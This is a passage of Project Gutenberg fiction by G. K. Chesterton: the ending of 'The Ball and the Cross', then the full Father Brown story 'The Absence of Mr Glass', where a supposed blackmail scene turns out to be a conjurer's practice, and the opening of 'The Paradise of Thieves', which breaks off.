MacIan. His blue eyes looked extraordinarily +brilliant and beautiful. In many sceptical papers and magazines +afterwards he was sadly or sternly rebuked for having abandoned +the certainties of materialism. All his life up to that moment he +had been most honestly certain that materialism was a fact. But +he was unlike the writers in the magazines precisely in this-- +that he preferred a fact even to materialism. + +As the little singing figure came nearer and nearer, Evan fell on +his knees, and after an instant Beatrice followed; then Madeleine +fell on her knees, and after a longer instant Turnbull followed. +Then the little old man went past them singing down that corridor +of flames. They had not looked at his face. + +When he had passed they looked up. While the first light of the +fire had shot east and west, painting the sides of ships with +fire-light or striking red sparks out of windowed houses, it had +not hitherto struck upward, for there was above it the ponderous +and rococo cavern of its own monstrous coloured smoke. But now +the fire was turned to left and right like a woman's hair parted +in the middle, and now the shafts of its light could shoot up +into empty heavens and strike anything, either bird or cloud. But +it struck something that was neither cloud nor bird. Far, far +away up in those huge hollows of space something was flying +swiftly and shining brightly, something that shone too bright and +flew too fast to be any of the fowls of the air, though the red +light lit it from underneath like the breast of a bird. Everyone +knew it was a flying ship, and everyone knew whose. + +As they stared upward the little speck of light seemed slightly +tilted, and two black dots dropped from the edge of it. All the +eager, upturned faces watched the two dots as they grew bigger +and bigger in their downward rush. Then someone screamed, and no +one looked up any more. For the two bodies, larger every second +flying, spread out and sprawling in the fire-light, were the dead +bodies of the two doctors whom Professor Lucifer had carried with +him--the weak and sneering Quayle, the cold and clumsy Hutton. +They went with a crash into the thick of the fire. + +"They are gone!" screamed Beatrice, hiding her head. "O God! The +are lost!" + +Evan put his arm about her, and remembered his own vision. + +"No, they are not lost," he said. "They are saved. He has taken +away no souls with him, after all." + +He looked vaguely about at the fire that was already fading, and +there among the ashes lay two shining things that had survived +the fire, his sword and Turnbull's, fallen haphazard in the +pattern of a cross. + + + + + + + + +End of Project Gutenberg's The Ball and The Cross, by G.K. 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Chesterton + +Release Date: February, 1995 [EBook #223] +[This file was last updated on November 29, 2002] + +Edition: 11 + +Language: English + +Character set encoding: ASCII + +*** START OF THE PROJECT GUTENBERG EBOOK THE WISDOM OF FATHER BROWN *** + + + + +This etext was proofread by Martin Ward. + +If you find an error in this edition, please contact Martin Ward, +Martin.Ward@durham.ac.uk + + + + + + + + G. K. CHESTERTON + + + THE WISDOM + OF FATHER BROWN + + + To + + LUCIAN OLDERSHAW + + + + CONTENTS + + +1. The Absence of Mr Glass +2. The Paradise of Thieves +3. The Duel of Dr Hirsch +4. The Man in the Passage +5. The Mistake of the Machine +6. The Head of Caesar +7. The Purple Wig +8. The Perishing of the Pendragons +9. The God of the Gongs +10. The Salad of Colonel Cray +11. The Strange Crime of John Boulnois +12. The Fairy Tale of Father Brown + + + + ONE + + + The Absence of Mr Glass + + +THE consulting-rooms of Dr Orion Hood, the eminent criminologist +and specialist in certain moral disorders, lay along the sea-front +at Scarborough, in a series of very large and well-lighted french windows, +which showed the North Sea like one endless outer wall of blue-green marble. +In such a place the sea had something of the monotony of a blue-green dado: +for the chambers themselves were ruled throughout by a terrible tidiness +not unlike the terrible tidiness of the sea. It must not be supposed +that Dr Hood's apartments excluded luxury, or even poetry. +These things were there, in their place; but one felt that +they were never allowed out of their place. Luxury was there: +there stood upon a special table eight or ten boxes of the best cigars; +but they were built upon a plan so that the strongest were always +nearest the wall and the mildest nearest the window. A tantalus +containing three kinds of spirit, all of a liqueur excellence, +stood always on this table of luxury; but the fanciful have asserted +that the whisky, brandy, and rum seemed always to stand at the same level. +Poetry was there: the left-hand corner of the room was lined with +as complete a set of English classics as the right hand could show +of English and foreign physiologists. But if one took a volume +of Chaucer or Shelley from that rank, its absence irritated the mind +like a gap in a man's front teeth. One could not say the books +were never read; probably they were, but there was a sense of their +being chained to their places, like the Bibles in the old churches. +Dr Hood treated his private book-shelf as if it were a public library. +And if this strict scientific intangibility steeped even the shelves +laden with lyrics and ballads and the tables laden with drink and tobacco, +it goes without saying that yet more of such heathen holiness +protected the other shelves that held the specialist's library, +and the other tables that sustained the frail and even fairylike +instruments of chemistry or mechanics. + + Dr Hood paced the length of his string of apartments, bounded-- +as the boys' geographies say--on the east by the North Sea and on the west +by the serried ranks of his sociological and criminologist library. +He was clad in an artist's velvet, but with none of an artist's negligence; +his hair was heavily shot with grey, but growing thick and healthy; +his face was lean, but sanguine and expectant. Everything about him +and his room indicated something at once rigid and restless, +like that great northern sea by which (on pure principles of hygiene) +he had built his home. + + Fate, being in a funny mood, pushed the door open and +introduced into those long, strict, sea-flanked apartments +one who was perhaps the most startling opposite of them and their master. +In answer to a curt but civil summons, the door opened inwards +and there shambled into the room a shapeless little figure, +which seemed to find its own hat and umbrella as unmanageable as +a mass of luggage. The umbrella was a black and prosaic bundle +long past repair; the hat was a broad-curved black hat, clerical +but not common in England; the man was the very embodiment of all +that is homely and helpless. + + The doctor regarded the new-comer with a restrained astonishment, +not unlike that he would have shown if some huge but obviously +harmless sea-beast had crawled into his room. The new-comer +regarded the doctor with that beaming but breathless geniality +which characterizes a corpulent charwoman who has just managed +to stuff herself into an omnibus. It is a rich confusion of +social self-congratulation and bodily disarray. His hat tumbled +to the carpet, his heavy umbrella slipped between his knees with a thud; +he reached after the one and ducked after the other, but with +an unimpaired smile on his round face spoke simultaneously as follows: + + "My name is Brown. Pray excuse me. I've come about +that business of the MacNabs. I have heard, you often help people +out of such troubles. Pray excuse me if I am wrong." + + By this time he had sprawlingly recovered the hat, and made +an odd little bobbing bow over it, as if setting everything quite right. + + "I hardly understand you," replied the scientist, with +a cold intensity of manner. "I fear you have mistaken the chambers. +I am Dr Hood, and my work is almost entirely literary and educational. +It is true that I have sometimes been consulted by the police +in cases of peculiar difficulty and importance, but--" + + "Oh, this is of the greatest importance," broke in the little man +called Brown. "Why, her mother won't let them get engaged." +And he leaned back in his chair in radiant rationality. + + The brows of Dr Hood were drawn down darkly, but the eyes +under them were bright with something that might be anger or +might be amusement. "And still," he said, "I do not quite understand." + + "You see, they want to get married," said the man with the +clerical hat. "Maggie MacNab and young Todhunter want to get married. +Now, what can be more important than that?" + + The great Orion Hood's scientific triumphs had deprived him +of many things--some said of his health, others of his God; +but they had not wholly despoiled him of his sense of the absurd. +At the last plea of the ingenuous priest a chuckle broke out of him +from inside, and he threw himself into an arm-chair in an ironical attitude +of the consulting physician. + + "Mr Brown," he said gravely, "it is quite fourteen and a half years +since I was personally asked to test a personal problem: then it was +the case of an attempt to poison the French President at +a Lord Mayor's Banquet. It is now, I understand, a question of whether +some friend of yours called Maggie is a suitable fiancee for some friend +of hers called Todhunter. Well, Mr Brown, I am a sportsman. +I will take it on. I will give the MacNab family my best advice, +as good as I gave the French Republic and the King of England--no, better: +fourteen years better. I have nothing else to do this afternoon. +Tell me your story." + + The little clergyman called Brown thanked him with +unquestionable warmth, but still with a queer kind of simplicity. +It was rather as if he were thanking a stranger in a smoking-room +for some trouble in passing the matches, than as if he were (as he was) +practically thanking the Curator of Kew Gardens for coming with him +into a field to find a four-leaved clover. With scarcely a semi-colon +after his hearty thanks, the little man began his recital: + + "I told you my name was Brown; well, that's the fact, +and I'm the priest of the little Catholic Church I dare say you've seen +beyond those straggly streets, where the town ends towards the north. +In the last and straggliest of those streets which runs along the sea +like a sea-wall there is a very honest but rather sharp-tempered +member of my flock, a widow called MacNab. She has one daughter, +and she lets lodgings, and between her and the daughter, +and between her and the lodgers--well, I dare say there is a great deal +to be said on both sides. At present she has only one lodger, +the young man called Todhunter; but he has given more trouble +than all the rest, for he wants to marry the young woman of the house." + + "And the young woman of the house," asked Dr Hood, with huge and +silent amusement, "what does she want?" + + "Why, she wants to marry him," cried Father Brown, sitting up eagerly. +"That is just the awful complication." + + "It is indeed a hideous enigma," said Dr Hood. + + "This young James Todhunter," continued the cleric, +"is a very decent man so far as I know; but then nobody knows very much. +He is a bright, brownish little fellow, agile like a monkey, +clean-shaven like an actor, and obliging like a born courtier. +He seems to have quite a pocketful of money, but nobody knows what +his trade is. Mrs MacNab, therefore (being of a pessimistic turn), +is quite sure it is something dreadful, and probably connected with dynamite. +The dynamite must be of a shy and noiseless sort, for the poor fellow +only shuts himself up for several hours of the day and studies something +behind a locked door. He declares his privacy is temporary and justified, +and promises to explain before the wedding. That is all that anyone knows +for certain, but Mrs MacNab will tell you a great deal more than +even she is certain of. You know how the tales grow like grass on +such a patch of ignorance as that. There are tales of two voices +heard talking in the room; though, when the door is opened, +Todhunter is always found alone. There are tales of a mysterious +tall man in a silk hat, who once came out of the sea-mists and +apparently out of the sea, stepping softly across the sandy fields and +through the small back garden at twilight, till he was heard +talking to the lodger at his open window. The colloquy seemed to end +in a quarrel. Todhunter dashed down his window with violence, +and the man in the high hat melted into the sea-fog again. +This story is told by the family with the fiercest mystification; +but I really think Mrs MacNab prefers her own original tale: +that the Other Man (or whatever it is) crawls out every night from the +big box in the corner, which is kept locked all day. You see, +therefore, how this sealed door of Todhunter's is treated as the gate +of all the fancies and monstrosities of the `Thousand and One Nights'. +And yet there is the little fellow in his respectable black jacket, +as punctual and innocent as a parlour clock. He pays his rent to the tick; +he is practically a teetotaller; he is tirelessly kind with +the younger children, and can keep them amused for a day on end; and, +last and most urgent of all, he has made himself equally popular with +the eldest daughter, who is ready to go to church with him tomorrow." + + A man warmly concerned with any large theories has always +a relish for applying them to any triviality. The great specialist +having condescended to the priest's simplicity, condescended expansively. +He settled himself with comfort in his arm-chair and began to talk in +the tone of a somewhat absent-minded lecturer: + + "Even in a minute instance, it is best to look first to +the main tendencies of Nature. A particular flower may not be dead +in early winter, but the flowers are dying; a particular pebble +may never be wetted with the tide, but the tide is coming in. +To the scientific eye all human history is a series of collective movements, +destructions or migrations, like the massacre of flies in winter +or the return of birds in spring. Now the root fact in all history is Race. +Race produces religion; Race produces legal and ethical wars. +There is no stronger case than that of the wild, unworldly and +perishing stock which we commonly call the Celts, of whom your friends +the MacNabs are specimens. Small, swarthy, and of this dreamy and +drifting blood, they accept easily the superstitious explanation of +any incidents, just as they still accept (you will excuse me for saying) +that superstitious explanation of all incidents which you +and your Church represent. It is not remarkable that such people, +with the sea moaning behind them and the Church (excuse me again) +droning in front of them, should put fantastic features into what are +probably plain events. You, with your small parochial responsibilities, +see only this particular Mrs MacNab, terrified with this particular tale +of two voices and a tall man out of the sea. But the man with +the scientific imagination sees, as it were, the whole clans of MacNab +scattered over the whole world, in its ultimate average as uniform +as a tribe of birds. He sees thousands of Mrs MacNabs, +in thousands of houses, dropping their little drop of morbidity +in the tea-cups of their friends; he sees--" + + Before the scientist could conclude his sentence, another and +more impatient summons sounded from without; someone with swishing skirts +was marshalled hurriedly down the corridor, and the door opened on +a young girl, decently dressed but disordered and red-hot with haste. +She had sea-blown blonde hair, and would have been entirely beautiful +if her cheek-bones had not been, in the Scotch manner, a little +high in relief as well as in colour. Her apology was almost as abrupt +as a command. + + "I'm sorry to interrupt you, sir," she said, "but I had to follow +Father Brown at once; it's nothing less than life or death." + + Father Brown began to get to his feet in some disorder. +"Why, what has happened, Maggie?" he said. + + "James has been murdered, for all I can make out," +answered the girl, still breathing hard from her rush. "That man Glass +has been with him again; I heard them talking through the door quite plain. +Two separate voices: for James speaks low, with a burr, +and the other voice was high and quavery." + + "That man Glass?" repeated the priest in some perplexity. + + "I know his name is Glass," answered the girl, in great impatience. +"I heard it through the door. They were quarrelling--about money, +I think--for I heard James say again and again, `That's right, Mr Glass,' +or `No, Mr Glass,' and then, `Two or three, Mr Glass.' But we're talking +too much; you must come at once, and there may be time yet." + + "But time for what?" asked Dr Hood, who had been studying +the young lady with marked interest. "What is there about Mr Glass +and his money troubles that should impel such urgency?" + + "I tried to break down the door and couldn't," answered the girl shortly, +"Then I ran to the back-yard, and managed to climb on to the window-sill +that looks into the room. It was an dim, and seemed to be empty, +but I swear I saw James lying huddled up in a corner, as if he were +drugged or strangled." + + "This is very serious," said Father Brown, gathering his errant hat +and umbrella and standing up; "in point of fact I was just putting +your case before this gentleman, and his view--" + + "Has been largely altered," said the scientist gravely. +"I do not think this young lady is so Celtic as I had supposed. +As I have nothing else to do, I will put on my hat and stroll +down town with you." + + In a few minutes all three were approaching the dreary tail of +the MacNabs' street: the girl with the stern and breathless stride +of the mountaineer, the criminologist with a lounging grace (which was +not without a certain leopard-like swiftness), and the priest at an +energetic trot entirely devoid of distinction. The aspect of this +edge of the town was not entirely without justification for +the doctor's hints about desolate moods and environments. +The scattered houses stood farther and farther apart in a broken string +along the seashore; the afternoon was closing with a premature and +partly lurid twilight; the sea was of an inky purple and murmuring ominously. +In the scrappy back garden of the MacNabs which ran down towards the sand, +two black, barren-looking trees stood up like demon hands held up +in astonishment, and as Mrs MacNab ran down the street to meet them +with lean hands similarly spread, and her fierce face in shadow, +she was a little like a demon herself. The doctor and the priest +made scant reply to her shrill reiterations of her daughter's story, +with more disturbing details of her own, to the divided vows of vengeance +against Mr Glass for murdering, and against Mr Todhunter for being murdered, +or against the latter for having dared to want to marry her daughter, +and for not having lived to do it. They passed through the narrow passage +in the front of the house until they came to the lodger's door at the back, +and there Dr Hood, with the trick of an old detective, put his shoulder +sharply to the panel and burst in the door. + + It opened on a scene of silent catastrophe. No one seeing it, +even for a flash, could doubt that the room had been the theatre +of some thrilling collision between two, or perhaps more, persons. +Playing-cards lay littered across the table or fluttered about +the floor as if a game had been interrupted. Two wine glasses stood +ready for wine on a side-table, but a third lay smashed +in a star of crystal upon the carpet. A few feet from it lay +what looked like a long knife or short sword, straight, +but with an ornamental and pictured handle, its dull blade just caught +a grey glint from the dreary window behind, which showed the black trees +against the leaden level of the sea. Towards the opposite corner +of the room was rolled a gentleman's silk top hat, as if it had +just been knocked off his head; so much so, indeed, that one almost looked +to see it still rolling. And in the corner behind it, thrown like a sack +of potatoes, but corded like a railway trunk, lay Mr James Todhunter, +with a scarf across his mouth, and six or seven ropes knotted round +his elbows and ankles. His brown eyes were alive and shifted alertly. + + Dr Orion Hood paused for one instant on the doormat and drank in +the whole scene of voiceless violence. Then he stepped swiftly +across the carpet, picked up the tall silk hat, and gravely put it +upon the head of the yet pinioned Todhunter. It was so much too large +for him that it almost slipped down on to his shoulders. + + "Mr Glass's hat," said the doctor, returning with it and peering +into the inside with a pocket lens. "How to explain the absence +of Mr Glass and the presence of Mr Glass's hat? For Mr Glass is not a +careless man with his clothes. That hat is of a stylish shape and +systematically brushed and burnished, though not very new. +An old dandy, I should think." + + "But, good heavens!" called out Miss MacNab, "aren't you going to +untie the man first?" + + "I say `old' with intention, though not with certainty" +continued the expositor; "my reason for it might seem a little far-fetched. +The hair of human beings falls out in very varying degrees, +but almost always falls out slightly, and with the lens I should see +the tiny hairs in a hat recently worn. It has none, which leads me +to guess that Mr Glass is bald. Now when this is taken with +the high-pitched and querulous voice which Miss MacNab described +so vividly (patience, my dear lady, patience), when we take +the hairless head together with the tone common in senile anger, +I should think we may deduce some advance in years. Nevertheless, +he was probably vigorous, and he was almost certainly tall. +I might rely in some degree on the story of his previous appearance +at the window, as a tall man in a silk hat, but I think I have +more exact indication. This wineglass has been smashed all over the place, +but one of its splinters lies on the high bracket beside the mantelpiece. +No such fragment could have fallen there if the vessel had been smashed +in the hand of a comparatively short man like Mr Todhunter." + + "By the way," said Father Brown, "might it not be as well +to untie Mr Todhunter?" + + "Our lesson from the drinking-vessels does not end here," +proceeded the specialist. "I may say at once that it is possible +that the man Glass was bald or nervous through dissipation rather than age. +Mr Todhunter, as has been remarked, is a quiet thrifty gentleman, +essentially an abstainer. These cards and wine-cups are no part +of his normal habit; they have been produced for a particular companion. +But, as it happens, we may go farther. Mr Todhunter may or may not +possess this wine-service, but there is no appearance of his +possessing any wine. What, then, were these vessels to contain? +I would at once suggest some brandy or whisky, perhaps of a luxurious sort, +from a flask in the pocket of Mr Glass. We have thus something like +a picture of the man, or at least of the type: tall, elderly, fashionable, +but somewhat frayed, certainly fond of play and strong waters, +perhaps rather too fond of them Mr Glass is a gentleman not unknown +on the fringes of society." + + "Look here," cried the young woman, "if you don't let me pass to +untie him I'll run outside and scream for the police." + + "I should not advise you, Miss MacNab," said Dr Hood gravely, +"to be in any hurry to fetch the police. Father Brown, +I seriously ask you to compose your flock, for their sakes, not for mine. +Well, we have seen something of the figure and quality of Mr Glass; +what are the chief facts known of Mr Todhunter? They are substantially three: +that he is economical, that he is more or less wealthy, and that +he has a secret. Now, surely it is obvious that there are +the three chief marks of the kind of man who is blackmailed. +And surely it is equally obvious that the faded finery, +the profligate habits, and the shrill irritation of Mr Glass +are the unmistakable marks of the kind of man who blackmails him. +We have the two typical figures of a tragedy of hush money: +on the one hand, the respectable man with a mystery; on the other, +the West-end vulture with a scent for a mystery. These two men +have met here today and have quarrelled, using blows and a bare weapon." + + "Are you going to take those ropes off?" asked the girl stubbornly. + + Dr Hood replaced the silk hat carefully on the side table, +and went across to the captive. He studied him intently, +even moving him a little and half-turning him round by the shoulders, +but he only answered: + + "No; I think these ropes will do very well till your friends +the police bring the handcuffs." + + Father Brown, who had been looking dully at the carpet, +lifted his round face and said: "What do you mean?" + + The man of science had picked up the peculiar dagger-sword +from the carpet and was examining it intently as he answered: + + "Because you find Mr Todhunter tied up," he said, "you all jump +to the conclusion that Mr Glass had tied him up; and then, I suppose, +escaped. There are four objections to this: First, why should a gentleman +so dressy as our friend Glass leave his hat behind him, if he left +of his own free will? Second," he continued, moving towards the window, +"this is the only exit, and it is locked on the inside. Third, this +blade here has a tiny touch of blood at the point, but there is +no wound on Mr Todhunter. Mr Glass took that wound away with him, +dead or alive. Add to all this primary probability. +It is much more likely that the blackmailed person would try to kill +his incubus, rather than that the blackmailer would try to kill +the goose that lays his golden egg. There, I think, we have +a pretty complete story." + + "But the ropes?" inquired the priest, whose eyes had remained +open with a rather vacant admiration. + + "Ah, the ropes," said the expert with a singular intonation. +"Miss MacNab very much wanted to know why I did not set Mr Todhunter +free from his ropes. Well, I will tell her. I did not do it because +Mr Todhunter can set himself free from them at any minute he chooses." + + "What?" cried the audience on quite different notes of astonishment. + + "I have looked at all the knots on Mr Todhunter," reiterated Hood +quietly. "I happen to know something about knots; they are quite +a branch of criminal science. Every one of those knots he has +made himself and could loosen himself; not one of them would have been made +by an enemy really trying to pinion him. The whole of this affair +of the ropes is a clever fake, to make us think him the victim of +the struggle instead of the wretched Glass, whose corpse may be hidden +in the garden or stuffed up the chimney." + + There was a rather depressed silence; the room was darkening, +the sea-blighted boughs of the garden trees looked leaner and +blacker than ever, yet they seemed to have come nearer to the window. +One could almost fancy they were sea-monsters like krakens or cuttlefish, +writhing polypi who had crawled up from the sea to see the end +of this tragedy, even as he, the villain and victim of it, +the terrible man in the tall hat, had once crawled up from the sea. +For the whole air was dense with the morbidity of blackmail, which is +the most morbid of human things, because it is a crime concealing a crime; +a black plaster on a blacker wound. + + The face of the little Catholic priest, which was commonly complacent +and even comic, had suddenly become knotted with a curious frown. +It was not the blank curiosity of his first innocence. It was rather +that creative curiosity which comes when a man has the beginnings of +an idea. "Say it again, please," he said in a simple, bothered manner; +"do you mean that Todhunter can tie himself up all alone and +untie himself all alone?" + + "That is what I mean," said the doctor. + + "Jerusalem!" ejaculated Brown suddenly, "I wonder if it could +possibly be that!" + + He scuttled across the room rather like a rabbit, and peered with +quite a new impulsiveness into the partially-covered face of the captive. +Then he turned his own rather fatuous face to the company. +"Yes, that's it!" he cried in a certain excitement. "Can't you see it +in the man's face? Why, look at his eyes!" + + Both the Professor and the girl followed the direction of his glance. +And though the broad black scarf completely masked the lower half +of Todhunter's visage, they did grow conscious of something struggling +and intense about the upper part of it. + + "His eyes do look queer," cried the young woman, strongly moved. +"You brutes; I believe it's hurting him!" + + "Not that, I think," said Dr Hood; "the eyes have certainly +a singular expression. But I should interpret those transverse +wrinkles as expressing rather such slight psychological abnormality--" + + "Oh, bosh!" cried Father Brown: "can't you see he's laughing?" + + "Laughing!" repeated the doctor, with a start; "but what on earth +can he be laughing at?" + + "Well," replied the Reverend Brown apologetically, +"not to put too fine a point on it, I think he is laughing at you. +And indeed, I'm a little inclined to laugh at myself, now I know about it." + + "Now you know about what?" asked Hood, in some exasperation. + + "Now I know," replied the priest, "the profession of Mr Todhunter." + + He shuffled about the room, looking at one object after another +with what seemed to be a vacant stare, and then invariably bursting +into an equally vacant laugh, a highly irritating process for those +who had to watch it. He laughed very much over the hat, +still more uproariously over the broken glass, but the blood on +the sword point sent him into mortal convulsions of amusement. +Then he turned to the fuming specialist. + + "Dr Hood," he cried enthusiastically, "you are a great poet! +You have called an uncreated being out of the void. How much more godlike +that is than if you had only ferreted out the mere facts! +Indeed, the mere facts are rather commonplace and comic by comparison." + + "I have no notion what you are talking about," said Dr Hood +rather haughtily; "my facts are all inevitable, though necessarily incomplete. +A place may be permitted to intuition, perhaps (or poetry if you +prefer the term), but only because the corresponding details cannot +as yet be ascertained. In the absence of Mr Glass--" + + "That's it, that's it," said the little priest, nodding quite eagerly, +"that's the first idea to get fixed; the absence of Mr Glass. +He is so extremely absent. I suppose," he added reflectively, +"that there was never anybody so absent as Mr Glass." + + "Do you mean he is absent from the town?" demanded the doctor. + + "I mean he is absent from everywhere," answered Father Brown; +"he is absent from the Nature of Things, so to speak." + + "Do you seriously mean," said the specialist with a smile, +"that there is no such person?" + + The priest made a sign of assent. "It does seem a pity," he said. + + Orion Hood broke into a contemptuous laugh. "Well," he said, +"before we go on to the hundred and one other evidences, let us take +the first proof we found; the first fact we fell over when we fell +into this room. If there is no Mr Glass, whose hat is this?" + + "It is Mr Todhunter's," replied Father Brown. + + "But it doesn't fit him," cried Hood impatiently. "He couldn't +possibly wear it!" + + Father Brown shook his head with ineffable mildness. +"I never said he could wear it," he answered. "I said it was his hat. +Or, if you insist on a shade of difference, a hat that is his." + + "And what is the shade of difference?" asked the criminologist +with a slight sneer. + + "My good sir," cried the mild little man, with his first movement +akin to impatience, "if you will walk down the street to the nearest +hatter's shop, you will see that there is, in common speech, +a difference between a man's hat and the hats that are his." + + "But a hatter," protested Hood, "can get money out of his +stock of new hats. What could Todhunter get out of this one old hat?" + + "Rabbits," replied Father Brown promptly. + + "What?" cried Dr Hood. + + "Rabbits, ribbons, sweetmeats, goldfish, rolls of coloured paper," +said the reverend gentleman with rapidity. "Didn't you see it all +when you found out the faked ropes? It's just the same with the sword. +Mr Todhunter hasn't got a scratch on him, as you say; but he's got +a scratch in him, if you follow me." + + "Do you mean inside Mr Todhunter's clothes?" inquired +Mrs MacNab sternly. + + "I do not mean inside Mr Todhunter's clothes," said Father Brown. +"I mean inside Mr Todhunter." + + "Well, what in the name of Bedlam do you mean?" + + "Mr Todhunter," explained Father Brown placidly, "is learning +to be a professional conjurer, as well as juggler, ventriloquist, +and expert in the rope trick. The conjuring explains the hat. +It is without traces of hair, not because it is worn by +the prematurely bald Mr Glass, but because it has never been worn +by anybody. The juggling explains the three glasses, which Todhunter +was teaching himself to throw up and catch in rotation. +But, being only at the stage of practice, he smashed one glass +against the ceiling. And the juggling also explains the sword, +which it was Mr Todhunter's professional pride and duty to swallow. +But, again, being at the stage of practice, he very slightly grazed +the inside of his throat with the weapon. Hence he has a wound +inside him, which I am sure (from the expression on his face) +is not a serious one. He was also practising the trick of +a release from ropes, like the Davenport Brothers, and he was just about +to free himself when we all burst into the room. The cards, of course, +are for card tricks, and they are scattered on the floor because +he had just been practising one of those dodges of sending them +flying through the air. He merely kept his trade secret, +because he had to keep his tricks secret, like any other conjurer. +But the mere fact of an idler in a top hat having once looked in +at his back window, and been driven away by him with great indignation, +was enough to set us all on a wrong track of romance, and make us imagine +his whole life overshadowed by the silk-hatted spectre of Mr Glass." + + "But What about the two voices?" asked Maggie, staring. + + "Have you never heard a ventriloquist?" asked Father Brown. +"Don't you know they speak first in their natural voice, and then +answer themselves in just that shrill, squeaky, unnatural voice +that you heard?" + + There was a long silence, and Dr Hood regarded the little man +who had spoken with a dark and attentive smile. "You are certainly +a very ingenious person," he said; "it could not have been done better +in a book. But there is just one part of Mr Glass you have not succeeded +in explaining away, and that is his name. Miss MacNab distinctly +heard him so addressed by Mr Todhunter." + + The Rev. Mr Brown broke into a rather childish giggle. +"Well, that," he said, "that's the silliest part of the whole silly story. +When our juggling friend here threw up the three glasses in turn, +he counted them aloud as he caught them, and also commented aloud +when he failed to catch them. What he really said was: `One, two +and three--missed a glass one, two--missed a glass.' And so on." + + There was a second of stillness in the room, and then everyone +with one accord burst out laughing. As they did so the figure +in the corner complacently uncoiled all the ropes and let them fall +with a flourish. Then, advancing into the middle of the room with a bow, +he produced from his pocket a big bill printed in blue and red, +which announced that ZALADIN, the World's Greatest Conjurer, +Contortionist, Ventriloquist and Human Kangaroo would be ready +with an entirely new series of Tricks at the Empire Pavilion, +Scarborough, on Monday next at eight o'clock precisely. + + + + TWO + + + The Paradise of Thieves + + +THE great Muscari, most original of the young Tuscan poets, +walked swiftly into his favourite restaurant, which overlooked +the Mediterranean, was covered by an awning and fenced by little lemon +and orange trees. Waiters in white aprons were already laying out +on white tables the insignia of an early and elegant lunch; +and this seemed to increase a satisfaction that already touched +the top of swagger. Muscari had an eagle nose like Dante; +his hair and neckerchief were dark and flowing; he carried a black cloak, +and might almost have carried a black mask, so much did he bear with him +a sort of Venetian melodrama. He acted as if a troubadour had still +a definite social office, like a bishop. He went as near as +his century permitted to walking the world literally like Don Juan, +with rapier and guitar. + + For he never travelled without a case of swords, with which +he had fought many brilliant duels, or without a corresponding case +for his mandolin, with which he had actually serenaded Miss Ethel Harrogate, +the highly conventional daughter of a Yorkshire banker on a holiday. +Yet he was neither a charlatan nor a child; but a hot, logical Latin +who liked a certain thing and was it. His poetry was as straightforward +as anyone else's prose. He desired fame or wine or the beauty of women +with a torrid directness inconceivable among the cloudy ideals +or cloudy compromises of the north; to vaguer races his intensity +smelt of danger or even crime. Like fire or the sea, he was too simple +to be trusted. + + The banker and his beautiful English daughter were staying +at the hotel attached to Muscari's restaurant; that was why it was +his favourite restaurant. A glance flashed around the room +told him at once, however, that the English party had not descended. +The restaurant was glittering, but still comparatively empty. +Two priests were talking at a table in a corner, but Muscari +(an ardent Catholic) took no more notice of them than of a couple of crows. +But from a yet farther seat, partly concealed behind a dwarf tree +golden with oranges, there rose and advanced towards the poet a person +whose costume was the most aggressively opposite to his own. + + This figure was clad in tweeds of a piebald check, with a pink tie, +a sharp collar and protuberant yellow boots. He contrived, +in the true tradition of 'Arry at Margate, to look at once startling +and commonplace. But as the Cockney apparition drew nearer, +Muscari was astounded to observe that the head was distinctly +different from the body. It was an Italian head: fuzzy, swarthy and +very vivacious, that rose abruptly out of the standing collar +like cardboard and the comic pink tie. In fact it was a head he knew. +He recognized it, above all the dire erection of English holiday array, +as the face of an old but forgotten friend name Ezza. This youth +had been a prodigy at college, and European fame was promised him +when he was barely fifteen; but when he appeared in the world he failed, +first publicly as a dramatist and a demagogue, and then privately +for years on end as an actor, a traveller, a commission agent +or a journalist. Muscari had known him last behind the footlights; +he was but too well attuned to the excitements of that profession, +and it was believed that some moral calamity had swallowed him up. + + "Ezza!" cried the poet, rising and shaking hands in +a pleasant astonishment. "Well, I've seen you in many costumes +in the green room; but I never expected to see you dressed up +as an Englishman." + + "This," answered Ezza gravely, "is not the costume of an Englishman, +but of the Italian of the future." + + "In that case," remarked Muscari, "I confess I prefer +the Italian of the past." + + "That is your old mistake, Muscari," said the man in tweeds, +shaking his head; "and the mistake of Italy. In the sixteenth century +we Tuscans made the morning: we had the newest steel, the newest carving, +the newest chemistry. Why should we not now have the newest factories, +the newest motors, the newest finance--the newest clothes?" + + "Because they are not worth having," answered Muscari. +"You cannot make Italians really progressive; they are too intelligent. +Men who see the short cut to good living will never go by +the new elaborate roads." + + "Well, to me Marconi, or D'Annunzio, is the star of Italy" +said the other. "That is why I have become a Futurist--and a courier." + + "A courier!" cried Muscari, laughing. "Is that the last of your +list of trades? And whom are you conducting?" + + "Oh, a man of the name of Harrogate, and his family, I believe." + + "Not the banker in this hotel?" inquired the poet, +with some eagerness. + + "That's the man," answered the courier. + + "Does it pay well?" asked the troubadour innocently. + + "It will pay me," said Ezza, with a very enigmatic smile. +"But I am a rather curious sort of courier." Then, as if +changing the subject, he said abruptly: "He has a daughter--and a son." + + "The daughter is divine," affirmed Muscari, "the father and son are, +I suppose, human. But granted his harmless qualities doesn't that banker +strike you as a splendid instance of my argument? Harrogate has millions +in his safes, and I have--the hole in my pocket. But you daren't say-- +you can't say--that he's cleverer than I, or bolder than I, or even +more energetic. He's not clever, he's got eyes like blue buttons; +he's not energetic, he moves from chair to chair like a paralytic. +He's a conscientious, kindly old blockhead; but he's got money simply +because he collects money, as a boy collects stamps. +You're too strong-minded for business, Ezza. You won't get on. +To be clever enough to get all that money, one must be stupid enough +to want it." + + "I'm stupid enough for that," said Ezza gloomily. "But I should +suggest a suspension of your critique of the banker, for here he comes." + + Mr Harrogate, the great financier, did indeed enter the room, +but nobody looked at him. He was a massive elderly man with +a boiled blue eye and faded grey-sandy moustaches; but for +his heavy stoop he might have been a colonel. He carried several +unopened letters in his hand. His son Frank was a really fine lad, +curly-haired, sun-burnt and strenuous; but nobody looked at him either. +All eyes, as usual, were riveted, for the moment at least, +upon Ethel Harrogate, whose golden Greek head and colour of the dawn +seemed set purposely above that sapphire sea, like a goddess's. +The poet Muscari drew a deep breath as if he were drinking something, +as indeed he was. He was drinking the Classic; which his fathers made. +Ezza studied her with a gaze equally intense and far more baffling. + + Miss Harrogate was specially radiant and ready for conversation +on this occasion; and her family had fallen into the easier +Continental habit, allowing the stranger Muscari and even +the courier Ezza to share their table and their talk. In Ethel Harrogate +conventionality crowned itself with a perfection and splendour of its own. +Proud of her father's prosperity, fond of fashionable pleasures, +a fond daughter but an arrant flirt, she was all these things with +a sort of golden good-nature that made her very pride pleasing +and her worldly respectability a fresh and hearty thing. + + They were in an eddy of excitement about some alleged peril +in the mountain path they were to attempt that week. The danger was +not from rock 